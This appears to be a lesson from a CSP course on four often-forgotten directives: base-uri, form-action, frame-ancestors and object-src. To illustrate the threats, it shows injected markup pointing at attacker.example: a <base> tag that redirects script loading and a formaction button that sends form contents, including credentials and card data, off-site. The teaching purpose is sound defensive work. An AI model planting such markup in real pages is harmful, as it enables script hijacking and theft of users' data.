CSP Academy

← The ten steps · Step 9 of 10 · 5 minutes

The four everyone forgets

Four lines. Four attacks that a perfect script-src does nothing about. This is the highest value-per-character in the whole specification.

base-uri 'none'

An injected <base href="https://attacker.example/"> changes where every relative URL resolves — including your own script tags:

<base href="https://attacker.example/">
<script nonce="r4nd0m" src="app.js"></script>

That script carries a valid nonce, so script-src admits it, and it now loads from the attacker. A <base> tag is not a script, so no script directive applies. Only base-uri does, and it does not inherit from default-src.

This is the cheapest way to defeat an otherwise excellent nonce-based policy, and almost nothing legitimately needs a <base> tag.

form-action 'self'

A button inside a form can carry its own destination:

<button formaction="https://attacker.example/collect">Confirm</button>

When clicked, that overrides the form's action and posts everything in the form — card details, credentials, whatever it is — somewhere else. It is not a script, not an inline handler and not a navigation, so nothing in script-src or connect-src touches it.

See it happen: Form hijacking

Form hijacking is the one people find hardest to believe, because no script is involved. Watch a form post somewhere it should not, then watch form-action stop it.

Identical page both times — the only difference is the Content-Security-Policy header. On the Report URI demo site.

frame-ancestors 'none'

Without it, anyone can frame your page and clickjack it: your real UI, invisible, under their bait. This directive supersedes X-Frame-Options, and unlike XFO it can list several origins:

frame-ancestors 'self' https://partner.example.com

Worth noting that it is one of the directives a <meta>-delivered policy silently ignores. If you deliver CSP by meta tag, this is not protecting you.

object-src 'none'

<object> and <embed> can load plugin content and, historically, execute it. It does inherit from default-src in current browsers, but it did not in CSP1 or CSP2, and there is essentially no site left that needs it. Say it explicitly and stop thinking about it.

The line

base-uri 'none'; form-action 'self'; frame-ancestors 'none'; object-src 'none'

Add that to any policy. On the overwhelming majority of sites it costs nothing, breaks nothing, and closes a base-tag hijack, a form redirection, clickjacking and plugin execution. If you take one thing from this course after report-only mode, take this line.

Why they are missed

Because default-src feels like it covers everything, and it reads like a default. It is a fallback for fetch directives only — for things the page loads. None of these four describe a fetch, so none of them inherit. Unset does not mean "restricted like default-src"; it means unrestricted.

You can do this now

Look at your policy. Count how many of those four are in it. If the answer is fewer than four, you have found something worth fixing today — and unlike most CSP work, this one needs no report data and no rollout.